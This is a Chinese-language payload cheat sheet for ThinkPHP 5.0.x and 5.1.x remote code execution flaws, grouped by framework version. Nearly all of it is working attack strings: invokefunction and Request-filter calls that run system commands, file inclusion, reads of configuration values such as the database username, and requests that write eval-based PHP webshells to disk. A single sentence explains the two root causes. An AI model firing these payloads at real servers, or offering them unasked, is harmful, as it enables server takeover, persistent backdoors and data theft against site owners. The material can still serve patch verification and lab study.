版本号：5.0.8~5.0.19
payload:s=whoami&_method=__construct&filter&filter=system
版本号：5.0.20~5.0.23
payload：_method=__construct&filter[]=system&method=get&server[REQUSET_METHOD]=whoami
5.1.x ：
?s=index/thinkRequest/input&filter[]=system&data=pwd
?s=index/thinkviewdriverPhp/display&content=<?php phpinfo();?>
?s=index/thinktemplatedriverfile/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/thinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.0.x ：
?s=index/thinkconfig/get&name=database.username # 获取配置信息
?s=index/thinkLang/load&file=../../test.jpg # 包含任意文件
?s=index/thinkConfig/load&file=../../t.php # 包含任意.php文件
?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index|thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami
还有一种
http://php.local/thinkphp5.0.5/public/index.php?s=index
post
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&filter[]=system&method=GET&get[]=whoami
# ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
# ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
# ThinkPHP <= 5.0.23 需要存在xxx的method路由，例如captcha
POST /?s=xxx HTTP/1.1
_method=__construct&filter[]=system&method=get&get[]=ls+-al
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
可以看到payload分为两种类型，一种是因为Request类的method和__construct方法造成的，另一种是因为Request类在兼容模式下获取的控制器没有进行合法校验，我们下面分两种来讲，然后会将thinkphp5的每个小版本都测试下找下可用的payload。
5.1.x php版本>5.5:
http://127.0.0.1/index.php?s=index/think\request/input?data[]=phpinfo()&filter=assert
http://127.0.0.1/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
5.0.x php版本>=5.4:
exp0 = '/index.php/?s=index/\\think\\template\driver\\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>'
exp1 = '/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>'
exp2 = '/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?>\'>zxc2.php'
http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()
5.0.7~5.0.23 执行命令：
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令 (如 dir whoami)
写shell：
?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?>\'>zxc2.php'
?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>
总结5.1.x的payload，成功复现
poc:
http://127.0.0.1/index.php?s=index/\think\template\driver\file/write?cacheFile=shell.php&content=<?php%20phpinfo();?>
http://url/to/thinkphp5.1.29/?s=index/\think\Request/input&filter=phpinfo&data=1
http://url/to/thinkphp5.1.29/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
http://url/to/thinkphp5.1.29/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
exp:
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
?s=index/\think\Request/input&filter=system&data=操作系统命令
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
